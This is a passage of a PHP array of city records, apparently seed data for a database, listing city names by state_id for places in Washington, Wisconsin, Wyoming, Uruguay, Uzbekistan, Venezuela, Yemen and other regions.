['state_id' => '3975', 'name' => 'sahalee'],\n ['state_id' => '3975', 'name' => 'salmon creek'],\n ['state_id' => '3975', 'name' => 'sammamish'],\n ['state_id' => '3975', 'name' => 'seatac'],\n ['state_id' => '3975', 'name' => 'seattle'],\n ['state_id' => '3975', 'name' => 'seattle hill-silver firs'],\n ['state_id' => '3975', 'name' => 'sedro woolley'],\n ['state_id' => '3975', 'name' => 'shelton'],\n ['state_id' => '3975', 'name' => 'shoreline'],\n ['state_id' => '3975', 'name' => 'silverdale'],\n ['state_id' => '3975', 'name' => 'snohomish'],\n ['state_id' => '3975', 'name' => 'south hill'],\n ['state_id' => '3975', 'name' => 'south prairie'],\n ['state_id' => '3975', 'name' => 'south seattle'],\n ['state_id' => '3975', 'name' => 'spanaway'],\n ['state_id' => '3975', 'name' => 'spokane'],\n ['state_id' => '3975', 'name' => 'sumas'],\n ['state_id' => '3975', 'name' => 'sumner'],\n ['state_id' => '3975', 'name' => 'sunnyside'],\n ['state_id' => '3975', 'name' => 'tacoma'],\n ['state_id' => '3975', 'name' => 'tukwila'],\n ['state_id' => '3975', 'name' => 'tumwater'],\n ['state_id' => '3975', 'name' => 'university place'],\n ['state_id' => '3975', 'name' => 'vancouver'],\n ['state_id' => '3975', 'name' => 'vashon'],\n ['state_id' => '3975', 'name' => 'walla walla'],\n ['state_id' => '3975', 'name' => 'washougal'],\n ['state_id' => '3975', 'name' => 'wenatchee'],\n ['state_id' => '3975', 'name' => 'west lake stevens'],\n ['state_id' => '3975', 'name' => 'white center'],\n ['state_id' => '3975', 'name' => 'white salmon'],\n ['state_id' => '3975', 'name' => 'white swan'],\n ['state_id' => '3975', 'name' => 'woodinville'],\n ['state_id' => '3975', 'name' => 'yakima'],\n ['state_id' => '3975', 'name' => 'yelm'],\n ['state_id' => '3977', 'name' => 'adams'],\n ['state_id' => '3977', 'name' => 'allouez'],\n ['state_id' => '3977', 'name' => 'appleton'],\n ['state_id' => '3977', 'name' => 'ashland'],\n ['state_id' => '3977', 'name' => 'ashwaubenon'],\n ['state_id' => '3977', 'name' => 'baraboo'],\n ['state_id' => '3977', 'name' => 'beaver dam'],\n ['state_id' => '3977', 'name' => 'beloit'],\n ['state_id' => '3977', 'name' => 'brookfield'],\n ['state_id' => '3977', 'name' => 'brown deer'],\n ['state_id' => '3977', 'name' => 'burlington'],\n ['state_id' => '3977', 'name' => 'caledonia'],\n ['state_id' => '3977', 'name' => 'carter'],\n ['state_id' => '3977', 'name' => 'cedarburg'],\n ['state_id' => '3977', 'name' => 'chippewa falls'],\n ['state_id' => '3977', 'name' => 'cudahy'],\n ['state_id' => '3977', 'name' => 'de pere'],\n ['state_id' => '3977', 'name' => 'deer park'],\n ['state_id' => '3977', 'name' => 'delafield'],\n ['state_id' => '3977', 'name' => 'eau claire'],\n ['state_id' => '3977', 'name' => 'elkhorn'],\n ['state_id' => '3977', 'name' => 'elroy'],\n ['state_id' => '3977', 'name' => 'fitchburg'],\n ['state_id' => '3977', 'name' => 'fond du lac'],\n ['state_id' => '3977', 'name' => 'fort atkinson'],\n ['state_id' => '3977', 'name' => 'franklin'],\n ['state_id' => '3977', 'name' => 'galesville'],\n ['state_id' => '3977', 'name' => 'germantown'],\n ['state_id' => '3977', 'name' => 'glen flora'],\n ['state_id' => '3977', 'name' => 'glendale'],\n ['state_id' => '3977', 'name' => 'goodman'],\n ['state_id' => '3977', 'name' => 'grafton'],\n ['state_id' => '3977', 'name' => 'green bay'],\n ['state_id' => '3977', 'name' => 'greendale'],\n ['state_id' => '3977', 'name' => 'greenfield'],\n ['state_id' => '3977', 'name' => 'hartford'],\n ['state_id' => '3977', 'name' => 'hartland'],\n ['state_id' => '3977', 'name' => 'howard'],\n ['state_id' => '3977', 'name' => 'hudson'],\n ['state_id' => '3977', 'name' => 'janesville'],\n ['state_id' => '3977', 'name' => 'jefferson'],\n ['state_id' => '3977', 'name' => 'junction city'],\n ['state_id' => '3977', 'name' => 'kaukauna'],\n ['state_id' => '3977', 'name' => 'kenosha'],\n ['state_id' => '3977', 'name' => 'kiel'],\n ['state_id' => '3977', 'name' => 'kohler'],\n ['state_id' => '3977', 'name' => 'la crosse'],\n ['state_id' => '3977', 'name' => 'little chute'],\n ['state_id' => '3977', 'name' => 'madison'],\n ['state_id' => '3977', 'name' => 'manitowoc'],\n ['state_id' => '3977', 'name' => 'marinette'],\n ['state_id' => '3977', 'name' => 'marshfield'],\n ['state_id' => '3977', 'name' => 'medford'],\n ['state_id' => '3977', 'name' => 'menasha'],\n ['state_id' => '3977', 'name' => 'menomonee falls'],\n ['state_id' => '3977', 'name' => 'menomonie'],\n ['state_id' => '3977', 'name' => 'mequon'],\n ['state_id' => '3977', 'name' => 'merrill'],\n ['state_id' => '3977', 'name' => 'middleton'],\n ['state_id' => '3977', 'name' => 'milwaukee'],\n ['state_id' => '3977', 'name' => 'mineral point'],\n ['state_id' => '3977', 'name' => 'monroe'],\n ['state_id' => '3977', 'name' => 'mount pleasant'],\n ['state_id' => '3977', 'name' => 'mukwonago'],\n ['state_id' => '3977', 'name' => 'muskego'],\n ['state_id' => '3977', 'name' => 'neenah'],\n ['state_id' => '3977', 'name' => 'new berlin'],\n ['state_id' => '3977', 'name' => 'new richmond'],\n ['state_id' => '3977', 'name' => 'oak creek'],\n ['state_id' => '3977', 'name' => 'oconomowoc'],\n ['state_id' => '3977', 'name' => 'onalaska'],\n ['state_id' => '3977', 'name' => 'orfordville'],\n ['state_id' => '3977', 'name' => 'oshkosh'],\n ['state_id' => '3977', 'name' => 'pigeon falls'],\n ['state_id' => '3977', 'name' => 'platteville'],\n ['state_id' => '3977', 'name' => 'pleasant prairie'],\n ['state_id' => '3977', 'name' => 'plover'],\n ['state_id' => '3977', 'name' => 'port washington'],\n ['state_id' => '3977', 'name' => 'portage'],\n ['state_id' => '3977', 'name' => 'pound'],\n ['state_id' => '3977', 'name' => 'racine'],\n ['state_id' => '3977', 'name' => 'reedsburg'],\n ['state_id' => '3977', 'name' => 'rhinelander'],\n ['state_id' => '3977', 'name' => 'river falls'],\n ['state_id' => '3977', 'name' => 'saint francis'],\n ['state_id' => '3977', 'name' => 'sheboygan'],\n ['state_id' => '3977', 'name' => 'shorewood'],\n ['state_id' => '3977', 'name' => 'south milwaukee'],\n ['state_id' => '3977', 'name' => 'spring valley'],\n ['state_id' => '3977', 'name' => 'stevens point'],\n ['state_id' => '3977', 'name' => 'stoughton'],\n ['state_id' => '3977', 'name' => 'strum'],\n ['state_id' => '3977', 'name' => 'sturtevant'],\n ['state_id' => '3977', 'name' => 'sun prairie'],\n ['state_id' => '3977', 'name' => 'superior'],\n ['state_id' => '3977', 'name' => 'three lakes'],\n ['state_id' => '3977', 'name' => 'tomah'],\n ['state_id' => '3977', 'name' => 'two rivers'],\n ['state_id' => '3977', 'name' => 'washington island'],\n ['state_id' => '3977', 'name' => 'waterford'],\n ['state_id' => '3977', 'name' => 'watertown'],\n ['state_id' => '3977', 'name' => 'waukesha'],\n ['state_id' => '3977', 'name' => 'waupun'],\n ['state_id' => '3977', 'name' => 'wausau'],\n ['state_id' => '3977', 'name' => 'wautoma'],\n ['state_id' => '3977', 'name' => 'wauwatosa'],\n ['state_id' => '3977', 'name' => 'west allis'],\n ['state_id' => '3977', 'name' => 'west bend'],\n ['state_id' => '3977', 'name' => 'weston'],\n ['state_id' => '3977', 'name' => 'whitefish bay'],\n ['state_id' => '3977', 'name' => 'whitewater'],\n ['state_id' => '3977', 'name' => 'wisconsin rapids'],\n ['state_id' => '3978', 'name' => 'buffalo'],\n ['state_id' => '3978', 'name' => 'casper'],\n ['state_id' => '3978', 'name' => 'cheyenne'],\n ['state_id' => '3978', 'name' => 'cody'],\n ['state_id' => '3978', 'name' => 'douglas'],\n ['state_id' => '3978', 'name' => 'evanston'],\n ['state_id' => '3978', 'name' => 'gillette'],\n ['state_id' => '3978', 'name' => 'green river'],\n ['state_id' => '3978', 'name' => 'jackson'],\n ['state_id' => '3978', 'name' => 'lander'],\n ['state_id' => '3978', 'name' => 'laramie'],\n ['state_id' => '3978', 'name' => 'powell'],\n ['state_id' => '3978', 'name' => 'rawlins'],\n ['state_id' => '3978', 'name' => 'riverton'],\n ['state_id' => '3978', 'name' => 'rock springs'],\n ['state_id' => '3978', 'name' => 'sheridan'],\n ['state_id' => '3978', 'name' => 'torrington'],\n ['state_id' => '3978', 'name' => 'worland'],\n ['state_id' => '3980', 'name' => 'artigas'],\n ['state_id' => '3980', 'name' => 'bella union'],\n ['state_id' => '3981', 'name' => 'camino maldonado'],\n ['state_id' => '3981', 'name' => 'canelones'],\n ['state_id' => '3981', 'name' => 'ciudad de la costa'],\n ['state_id' => '3981', 'name' => 'juan antonio artigas'],\n ['state_id' => '3981', 'name' => 'las piedras'],\n ['state_id' => '3981', 'name' => 'pando'],\n ['state_id' => '3981', 'name' => 'paso de carrasco'],\n ['state_id' => '3981', 'name' => 'progreso'],\n ['state_id' => '3981', 'name' => 'santa lucia'],\n ['state_id' => '3983', 'name' => 'carmelo'],\n ['state_id' => '3983', 'name' => 'colonia'],\n ['state_id' => '3983', 'name' => 'juan lacaze'],\n ['state_id' => '3983', 'name' => 'nueva helvecia'],\n ['state_id' => '3984', 'name' => 'durazno'],\n ['state_id' => '3985', 'name' => 'florida'],\n ['state_id' => '3986', 'name' => 'trinidad'],\n ['state_id' => '3987', 'name' => 'minas'],\n ['state_id' => '3988', 'name' => 'maldonado'],\n ['state_id' => '3988', 'name' => 'san carlos'],\n ['state_id' => '3989', 'name' => 'la paz'],\n ['state_id' => '3989', 'name' => 'montevideo'],\n ['state_id' => '3990', 'name' => 'paysandu'],\n ['state_id' => '3992', 'name' => 'rivera'],\n ['state_id' => '3993', 'name' => 'chuy'],\n ['state_id' => '3993', 'name' => 'rocha'],\n ['state_id' => '3994', 'name' => 'salto'],\n ['state_id' => '3996', 'name' => 'dolores'],\n ['state_id' => '3996', 'name' => 'mercedes'],\n ['state_id' => '3997', 'name' => 'paso de los toros'],\n ['state_id' => '3997', 'name' => 'tacuarembo'],\n ['state_id' => '3999', 'name' => 'ahunabayev'],\n ['state_id' => '3999', 'name' => 'andijon'],\n ['state_id' => '3999', 'name' => 'asaka'],\n ['state_id' => '3999', 'name' => 'boz'],\n ['state_id' => '3999', 'name' => 'hakkulobod'],\n ['state_id' => '3999', 'name' => 'hocaobod'],\n ['state_id' => '3999', 'name' => 'honobod'],\n ['state_id' => '3999', 'name' => 'ilyichevsk'],\n ['state_id' => '3999', 'name' => 'karabagis'],\n ['state_id' => '3999', 'name' => 'kurgontepa'],\n ['state_id' => '3999', 'name' => 'marhomat'],\n ['state_id' => '3999', 'name' => 'pahtaobod'],\n ['state_id' => '3999', 'name' => 'paytug'],\n ['state_id' => '3999', 'name' => 'sahrihan'],\n ['state_id' => '4000', 'name' => 'buhoro'],\n ['state_id' => '4000', 'name' => 'cangeldi'],\n ['state_id' => '4000', 'name' => 'galaosiye'],\n ['state_id' => '4000', 'name' => 'gazli'],\n ['state_id' => '4000', 'name' => 'gijduvon'],\n ['state_id' => '4000', 'name' => 'kizilravbe'],\n ['state_id' => '4000', 'name' => 'kogon'],\n ['state_id' => '4000', 'name' => 'korakul'],\n ['state_id' => '4000', 'name' => 'korovulbazar'],\n ['state_id' => '4000', 'name' => 'kukca'],\n ['state_id' => '4000', 'name' => 'olot'],\n ['state_id' => '4000', 'name' => 'oyokkuduk'],\n ['state_id' => '4000', 'name' => 'romitan'],\n ['state_id' => '4000', 'name' => 'safirkon'],\n ['state_id' => '4000', 'name' => 'vobkent'],\n ['state_id' => '4002', 'name' => 'cizah'],\n ['state_id' => '4002', 'name' => 'dustlik'],\n ['state_id' => '4002', 'name' => 'gagarin'],\n ['state_id' => '4002', 'name' => 'gallaorol'],\n ['state_id' => '4002', 'name' => 'marcanbulok'],\n ['state_id' => '4002', 'name' => 'pahtakor'],\n ['state_id' => '4002', 'name' => 'ulyanovo'],\n ['state_id' => '4002', 'name' => 'zomin'],\n ['state_id' => '4003', 'name' => 'altyarik'],\n ['state_id' => '4003', 'name' => 'avval'],\n ['state_id' => '4003', 'name' => 'besarik'],\n ['state_id' => '4003', 'name' => 'fargona'],\n ['state_id' => '4003', 'name' => 'hamza'],\n ['state_id' => '4003', 'name' => 'kirgili'],\n ['state_id' => '4003', 'name' => 'kukon'],\n ['state_id' => '4003', 'name' => 'kuva'],\n ['state_id' => '4003', 'name' => 'kuvasoy'],\n ['state_id' => '4003', 'name' => 'margilon'],\n ['state_id' => '4003', 'name' => 'rapkan'],\n ['state_id' => '4003', 'name' => 'riston'],\n ['state_id' => '4003', 'name' => 'toslok'],\n ['state_id' => '4003', 'name' => 'yaypan'],\n ['state_id' => '4004', 'name' => 'drujba'],\n ['state_id' => '4004', 'name' => 'gurlan'],\n ['state_id' => '4004', 'name' => 'hazorasp'],\n ['state_id' => '4004', 'name' => 'heva'],\n ['state_id' => '4004', 'name' => 'honko'],\n ['state_id' => '4004', 'name' => 'kuskupir'],\n ['state_id' => '4004', 'name' => 'mesekli'],\n ['state_id' => '4004', 'name' => 'sovot'],\n ['state_id' => '4004', 'name' => 'turpokkala'],\n ['state_id' => '4004', 'name' => 'urgenc'],\n ['state_id' => '4005', 'name' => 'beskent'],\n ['state_id' => '4005', 'name' => 'ceynau'],\n ['state_id' => '4005', 'name' => 'cirakci'],\n ['state_id' => '4005', 'name' => 'dehkanobod'],\n ['state_id' => '4005', 'name' => 'dinau'],\n ['state_id' => '4005', 'name' => 'guzor'],\n ['state_id' => '4005', 'name' => 'kallig'],\n ['state_id' => '4005', 'name' => 'kamasi'],\n ['state_id' => '4005', 'name' => 'karabag'],\n ['state_id' => '4005', 'name' => 'karsi'],\n ['state_id' => '4005', 'name' => 'kasbi'],\n ['state_id' => '4005', 'name' => 'kitob'],\n ['state_id' => '4005', 'name' => 'koson'],\n ['state_id' => '4005', 'name' => 'madaniyat'],\n ['state_id' => '4005', 'name' => 'maydayap'],\n ['state_id' => '4005', 'name' => 'maymanak'],\n ['state_id' => '4005', 'name' => 'muborak'],\n ['state_id' => '4005', 'name' => 'oktyabrskiy'],\n ['state_id' => '4005', 'name' => 'sahrisabz'],\n ['state_id' => '4005', 'name' => 'talimarcon'],\n ['state_id' => '4005', 'name' => 'urtacim'],\n ['state_id' => '4005', 'name' => 'yakkabog'],\n ['state_id' => '4005', 'name' => 'yaninison'],\n ['state_id' => '4006', 'name' => 'beruni'],\n ['state_id' => '4006', 'name' => 'buston'],\n ['state_id' => '4006', 'name' => 'cimboy'],\n ['state_id' => '4006', 'name' => 'halkobod'],\n ['state_id' => '4006', 'name' => 'hucayli'],\n ['state_id' => '4006', 'name' => 'karauzyak'],\n ['state_id' => '4006', 'name' => 'kegayli'],\n ['state_id' => '4006', 'name' => 'kizketken'],\n ['state_id' => '4006', 'name' => 'kozokdaryo'],\n ['state_id' => '4006', 'name' => 'kungirot'],\n ['state_id' => '4006', 'name' => 'mangit'],\n ['state_id' => '4006', 'name' => 'muynok'],\n ['state_id' => '4006', 'name' => 'nukus'],\n ['state_id' => '4006', 'name' => 'tahiatos'],\n ['state_id' => '4006', 'name' => 'tahtakupir'],\n ['state_id' => '4006', 'name' => 'turtkul'],\n ['state_id' => '4007', 'name' => 'aytim'],\n ['state_id' => '4007', 'name' => 'besbulok'],\n ['state_id' => '4007', 'name' => 'cartak'],\n ['state_id' => '4007', 'name' => 'cingeldi'],\n ['state_id' => '4007', 'name' => 'cust'],\n ['state_id' => '4007', 'name' => 'gozgon'],\n ['state_id' => '4007', 'name' => 'iskavat'],\n ['state_id' => '4007', 'name' => 'kalkuduk'],\n ['state_id' => '4007', 'name' => 'konimeh'],\n ['state_id' => '4007', 'name' => 'kosonsoy'],\n ['state_id' => '4007', 'name' => 'minbulok'],\n ['state_id' => '4007', 'name' => 'namangan'],\n ['state_id' => '4007', 'name' => 'nurota'],\n ['state_id' => '4007', 'name' => 'pop'],\n ['state_id' => '4007', 'name' => 'tomdibulok'],\n ['state_id' => '4007', 'name' => 'tosbulok'],\n ['state_id' => '4007', 'name' => 'turakurgon'],\n ['state_id' => '4007', 'name' => 'uckurgon'],\n ['state_id' => '4007', 'name' => 'unhoyat'],\n ['state_id' => '4007', 'name' => 'uyci'],\n ['state_id' => '4007', 'name' => 'uzunkuduk'],\n ['state_id' => '4007', 'name' => 'yanikurgon'],\n ['state_id' => '4008', 'name' => 'karmana'],\n ['state_id' => '4008', 'name' => 'kiziltepa'],\n ['state_id' => '4008', 'name' => 'navoi'],\n ['state_id' => '4008', 'name' => 'uckuduk'],\n ['state_id' => '4008', 'name' => 'zarafson'],\n ['state_id' => '4009', 'name' => 'bulungur'],\n ['state_id' => '4009', 'name' => 'camboy'],\n ['state_id' => '4009', 'name' => 'carhin'],\n ['state_id' => '4009', 'name' => 'celak'],\n ['state_id' => '4009', 'name' => 'cuma'],\n ['state_id' => '4009', 'name' => 'dahbed'],\n ['state_id' => '4009', 'name' => 'istihon'],\n ['state_id' => '4009', 'name' => 'kattakurgon'],\n ['state_id' => '4009', 'name' => 'kusrobod'],\n ['state_id' => '4009', 'name' => 'nurobod'],\n ['state_id' => '4009', 'name' => 'oktos'],\n ['state_id' => '4009', 'name' => 'paysanba'],\n ['state_id' => '4009', 'name' => 'samarkand'],\n ['state_id' => '4009', 'name' => 'superfosfatniy'],\n ['state_id' => '4009', 'name' => 'urgut'],\n ['state_id' => '4009', 'name' => 'yanirobod'],\n ['state_id' => '4009', 'name' => 'ziadin'],\n ['state_id' => '4010', 'name' => 'baht'],\n ['state_id' => '4010', 'name' => 'guliston'],\n ['state_id' => '4010', 'name' => 'hovos'],\n ['state_id' => '4010', 'name' => 'sirdare'],\n ['state_id' => '4010', 'name' => 'sirin'],\n ['state_id' => '4010', 'name' => 'yaniyer'],\n ['state_id' => '4011', 'name' => 'akkurgon'],\n ['state_id' => '4011', 'name' => 'boysun'],\n ['state_id' => '4011', 'name' => 'carkurgon'],\n ['state_id' => '4011', 'name' => 'denau'],\n ['state_id' => '4011', 'name' => 'kumkurgon'],\n ['state_id' => '4011', 'name' => 'paskurd'],\n ['state_id' => '4011', 'name' => 'sargun'],\n ['state_id' => '4011', 'name' => 'sariasiya'],\n ['state_id' => '4011', 'name' => 'serobod'],\n ['state_id' => '4011', 'name' => 'surci'],\n ['state_id' => '4011', 'name' => 'termiz'],\n ['state_id' => '4011', 'name' => 'zan'],\n ['state_id' => '4012', 'name' => 'almazar'],\n ['state_id' => '4012', 'name' => 'angren'],\n ['state_id' => '4012', 'name' => 'bekobod'],\n ['state_id' => '4012', 'name' => 'bektemir'],\n ['state_id' => '4012', 'name' => 'buka'],\n ['state_id' => '4012', 'name' => 'cinoz'],\n ['state_id' => '4012', 'name' => 'circik'],\n ['state_id' => '4012', 'name' => 'gazalkent'],\n ['state_id' => '4012', 'name' => 'iskandar'],\n ['state_id' => '4012', 'name' => 'keles'],\n ['state_id' => '4012', 'name' => 'kibray'],\n ['state_id' => '4012', 'name' => 'krasnogorskiy'],\n ['state_id' => '4012', 'name' => 'kuyluk'],\n ['state_id' => '4012', 'name' => 'ohangaron'],\n ['state_id' => '4012', 'name' => 'olmalik'],\n ['state_id' => '4012', 'name' => 'parkent'],\n ['state_id' => '4012', 'name' => 'pskent'],\n ['state_id' => '4012', 'name' => 'salar'],\n ['state_id' => '4012', 'name' => 'soldatski'],\n ['state_id' => '4012', 'name' => 'tashkent'],\n ['state_id' => '4012', 'name' => 'toskent'],\n ['state_id' => '4012', 'name' => 'tuytepa'],\n ['state_id' => '4012', 'name' => 'urtaaul'],\n ['state_id' => '4012', 'name' => 'yaniobod'],\n ['state_id' => '4012', 'name' => 'yaniyul'],\n ['state_id' => '4013', 'name' => 'lakatoro'],\n ['state_id' => '4013', 'name' => 'norsup'],\n ['state_id' => '4014', 'name' => 'longana'],\n ['state_id' => '4015', 'name' => 'luganville'],\n ['state_id' => '4015', 'name' => 'port olry'],\n ['state_id' => '4016', 'name' => 'vila'],\n ['state_id' => '4017', 'name' => 'isangel'],\n ['state_id' => '4018', 'name' => 'sola'],\n ['state_id' => '4020', 'name' => 'puerto ayacucho'],\n ['state_id' => '4021', 'name' => 'anaco'],\n ['state_id' => '4021', 'name' => 'barcelona'],\n ['state_id' => '4021', 'name' => 'cantaura'],\n ['state_id' => '4021', 'name' => 'el tigre'],\n ['state_id' => '4021', 'name' => 'puerto la cruz'],\n ['state_id' => '4021', 'name' => 'san jose de guanipa'],\n ['state_id' => '4022', 'name' => 'guasdualito'],\n ['state_id' => '4022', 'name' => 'san fernando'],\n ['state_id' => '4023', 'name' => 'cagua'],\n ['state_id' => '4023', 'name' => 'el limon'],\n ['state_id' => '4023', 'name' => 'la victoria'],\n ['state_id' => '4023', 'name' => 'las teyerias'],\n ['state_id' => '4023', 'name' => 'maracay'],\n ['state_id' => '4023', 'name' => 'palo negro'],\n ['state_id' => '4023', 'name' => 'san mateo'],\n ['state_id' => '4023', 'name' => 'turmero'],\n ['state_id' => '4023', 'name' => 'villa de cura'],\n ['state_id' => '4024', 'name' => 'barinas'],\n ['state_id' => '4024', 'name' => 'barinitas'],\n ['state_id' => '4025', 'name' => 'ciudad bolivar'],\n ['state_id' => '4025', 'name' => 'ciudad guayana'],\n ['state_id' => '4025', 'name' => 'upata'],\n ['state_id' => '4026', 'name' => 'goaigoaza'],\n ['state_id' => '4026', 'name' => 'guacara'],\n ['state_id' => '4026', 'name' => 'guigue'],\n ['state_id' => '4026', 'name' => 'mariara'],\n ['state_id' => '4026', 'name' => 'moron'],\n ['state_id' => '4026', 'name' => 'puerto cabello'],\n ['state_id' => '4026', 'name' => 'san joaquin'],\n ['state_id' => '4026', 'name' => 'tacarigua'],\n ['state_id' => '4026', 'name' => 'valencia'],\n ['state_id' => '4027', 'name' => 'san carlos'],\n ['state_id' => '4027', 'name' => 'tinaquillo'],\n ['state_id' => '4030', 'name' => 'coro'],\n ['state_id' => '4030', 'name' => 'punta cardon'],\n ['state_id' => '4030', 'name' => 'punto fijo'],\n ['state_id' => '4031', 'name' => 'altagracia de orituco'],\n ['state_id' => '4031', 'name' => 'calabozo'],\n ['state_id' => '4031', 'name' => 'san juan de los morros'],\n ['state_id' => '4031', 'name' => 'valle de la pascua'],\n ['state_id' => '4031', 'name' => 'zaraza'],\n ['state_id' => '4032', 'name' => 'barquisimeto'],\n ['state_id' => '4032', 'name' => 'cabudare'],\n ['state_id' => '4032', 'name' => 'carora'],\n ['state_id' => '4032', 'name' => 'el tocuyo'],\n ['state_id' => '4032', 'name' => 'los rastrojos'],\n ['state_id' => '4032', 'name' => 'quibor'],\n ['state_id' => '4033', 'name' => 'ejido'],\n ['state_id' => '4033', 'name' => 'el vigia'],\n ['state_id' => '4033', 'name' => 'merida'],\n ['state_id' => '4034', 'name' => 'baruta'],\n ['state_id' => '4034', 'name' => 'carrizal'],\n ['state_id' => '4034', 'name' => 'catia la mar'],\n ['state_id' => '4034', 'name' => 'caucaguita'],\n ['state_id' => '4034', 'name' => 'chacao'],\n ['state_id' => '4034', 'name' => 'charallave'],\n ['state_id' => '4034', 'name' => 'cua'],\n ['state_id' => '4034', 'name' => 'el cafetal'],\n ['state_id' => '4034', 'name' => 'el hatillo'],\n ['state_id' => '4034', 'name' => 'filas de mariche'],\n ['state_id' => '4034', 'name' => 'guarenas'],\n ['state_id' => '4034', 'name' => 'guatire'],\n ['state_id' => '4034', 'name' => 'la dolorita'],\n ['state_id' => '4034', 'name' => 'los dos caminos'],\n ['state_id' => '4034', 'name' => 'los teques'],\n ['state_id' => '4034', 'name' => 'ocumare del tuy'],\n ['state_id' => '4034', 'name' => 'petare'],\n ['state_id' => '4034', 'name' => 'san antonio de los altos'],\n ['state_id' => '4034', 'name' => 'santa teresa'],\n ['state_id' => '4035', 'name' => 'maturin'],\n ['state_id' => '4037', 'name' => 'acarigua'],\n ['state_id' => '4037', 'name' => 'araure'],\n ['state_id' => '4037', 'name' => 'guanare'],\n ['state_id' => '4037', 'name' => 'villa bruzual'],\n ['state_id' => '4038', 'name' => 'carupano'],\n ['state_id' => '4038', 'name' => 'cumana'],\n ['state_id' => '4039', 'name' => 'la fria'],\n ['state_id' => '4039', 'name' => 'rubio'],\n ['state_id' => '4039', 'name' => 'san antonio del tachira'],\n ['state_id' => '4039', 'name' => 'san cristobal'],\n ['state_id' => '4039', 'name' => 'san juan de colon'],\n ['state_id' => '4039', 'name' => 'tariba'],\n ['state_id' => '4040', 'name' => 'trujillo'],\n ['state_id' => '4040', 'name' => 'valera'],\n ['state_id' => '4041', 'name' => 'caraballeda'],\n ['state_id' => '4041', 'name' => 'la guaira'],\n ['state_id' => '4041', 'name' => 'maiquetia'],\n ['state_id' => '4042', 'name' => 'chivacoa'],\n ['state_id' => '4042', 'name' => 'nirgua'],\n ['state_id' => '4042', 'name' => 'san felipe'],\n ['state_id' => '4042', 'name' => 'yaritagua'],\n ['state_id' => '4043', 'name' => 'bachaquero'],\n ['state_id' => '4043', 'name' => 'cabimas'],\n ['state_id' => '4043', 'name' => 'ciudad ojeda'],\n ['state_id' => '4043', 'name' => 'lagunillas'],\n ['state_id' => '4043', 'name' => 'machiques'],\n ['state_id' => '4043', 'name' => 'maracaibo'],\n ['state_id' => '4043', 'name' => 'san carlos del zulia'],\n ['state_id' => '4043', 'name' => 'santa rita'],\n ['state_id' => '4043', 'name' => 'villa del rosario'],\n ['state_id' => '4053', 'name' => 'ha noi'],\n ['state_id' => '4053', 'name' => 'hoang mai'],\n ['state_id' => '4053', 'name' => 'lang ha'],\n ['state_id' => '4064', 'name' => 'settlement'],\n ['state_id' => '4066', 'name' => 'east end-long look'],\n ['state_id' => '4066', 'name' => 'road town'],\n ['state_id' => '4066', 'name' => 'west end'],\n ['state_id' => '4070', 'name' => 'kolia'],\n ['state_id' => '4070', 'name' => 'mala\\'e'],\n ['state_id' => '4070', 'name' => 'ono'],\n ['state_id' => '4070', 'name' => 'poi'],\n ['state_id' => '4070', 'name' => 'tamana'],\n ['state_id' => '4070', 'name' => 'taoa'],\n ['state_id' => '4070', 'name' => 'tuatafa'],\n ['state_id' => '4070', 'name' => 'vele'],\n ['state_id' => '4071', 'name' => 'fiua'],\n ['state_id' => '4071', 'name' => 'leava'],\n ['state_id' => '4071', 'name' => 'nuku'],\n ['state_id' => '4071', 'name' => 'tavai'],\n ['state_id' => '4071', 'name' => 'toloke'],\n ['state_id' => '4071', 'name' => 'vaisei'],\n ['state_id' => '4072', 'name' => 'ahoa'],\n ['state_id' => '4072', 'name' => 'aka aka'],\n ['state_id' => '4072', 'name' => 'alele'],\n ['state_id' => '4072', 'name' => 'falaleu'],\n ['state_id' => '4072', 'name' => 'gahi'],\n ['state_id' => '4072', 'name' => 'haafuasia'],\n ['state_id' => '4072', 'name' => 'haatofo'],\n ['state_id' => '4072', 'name' => 'halalo'],\n ['state_id' => '4072', 'name' => 'kolopopo'],\n ['state_id' => '4072', 'name' => 'lavegahau'],\n ['state_id' => '4072', 'name' => 'liku'],\n ['state_id' => '4072', 'name' => 'mala\\'e'],\n ['state_id' => '4072', 'name' => 'malaefoou'],\n ['state_id' => '4072', 'name' => 'mata\\'utu'],\n ['state_id' => '4072', 'name' => 'teesi'],\n ['state_id' => '4072', 'name' => 'tepa'],\n ['state_id' => '4072', 'name' => 'utuofa'],\n ['state_id' => '4072', 'name' => 'vailala'],\n ['state_id' => '4072', 'name' => 'vaimalau'],\n ['state_id' => '4072', 'name' => 'vaitupu'],\n ['state_id' => '4074', 'name' => 'ad-dakhlah'],\n ['state_id' => '4075', 'name' => 'al-\\'ayun'],\n ['state_id' => '4076', 'name' => 'as-samarah'],\n ['state_id' => '4077', 'name' => '\\'adan'],\n ['state_id' => '4077', 'name' => 'aden'],\n ['state_id' => '4078', 'name' => 'ahwar'],\n ['state_id' => '4078', 'name' => 'ja\\'ar'],\n ['state_id' => '4078', 'name' => 'zinjibar'],\n ['state_id' => '4079', 'name' => 'dhamar'],\n ['state_id' => '4080', 'name' => 'shaqra\\''],\n ['state_id' => '4080', 'name' => 'al-mukalla'],\n ['state_id' => '4080', 'name' => 'ash-shahir'],\n ['state_id' => '4081', 'name' => 'hajjah'],\n ['state_id' => '4082', 'name' => 'hodaidah'],\n ['state_id' => '4083', 'name' => 'dhi sufal'],\n ['state_id' => '4083', 'name' => 'ibb'],\n ['state_id' => '4083', 'name' => 'jiblah'],\n ['state_id' => '4083', 'name' => 'qa\\'tabah'],\n ['state_id' => '4083', 'name' => 'yarim'],\n ['state_id' => '4084', 'name' => 'tuban'],\n ['state_id' => '4085', 'name' => 'ma\\'rib'],\n ['state_id' => '4087', 'name' => 'sa\\'dah'],\n ['state_id' => '4088', 'name' => '\\'amran'],\n ['state_id' => '4088', 'name' => 'sahar'],\n ['state_id' => '4088', 'name' => 'sanaa'],\n ['state_id' => '4088', 'name' => 'sayyan'],\n ['state_id' => '4089', 'name' => '\\'ataq'],\n ['state_id' => '4089', 'name' => 'habban'],\n ['state_id' => '4089', 'name' => 'taiz'],\n ['state_id' => '4090', 'name' => 'ta\\'izz'],\n ['state_id' => '4090', 'name' => 'al-mukha'],\n ['state_id' => '4091', 'name' => 'raydah'],\n ['state_id' => '4091', 'name' => 'al-bayda'],\n ['state_id' => '4092', 'name' => 'bajil'],\n ['state_id' => '4092', 'name' => 'bayt-al-faqih'],\n ['state_id' => '4092', 'name' => 'zabid'],\n ['state_id' => '4092', 'name' => 'al-hudaydah'],\n ['state_id' => '4092', 'name' => 'al-marawi\\'ah'],\n ['state_id' => '4092', 'name' => 'az-zaydiyah'],\n ['state_id' => '4093', 'name' => 'al-hazm'],\n ['state_id' => '4094', 'name' => 'al-ghaydah'],\n ['state_id' => '4095', 'name' => 